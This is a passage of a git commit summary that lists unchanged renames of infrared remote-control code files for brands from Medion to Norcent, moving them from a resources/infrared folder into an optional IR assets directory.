ir_optional_assets}/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mintek/DVD Player/0,153.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/18,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cox/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Cox/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/DSS/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/DVR/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/IP box/16,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Remote/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Remote/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/VCR/25,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/VCR/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,233.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NEC/Video Projector/24,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NET TV/TV/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Satellite/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Satellite/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir (100%) rename assets/{resources/infrared => 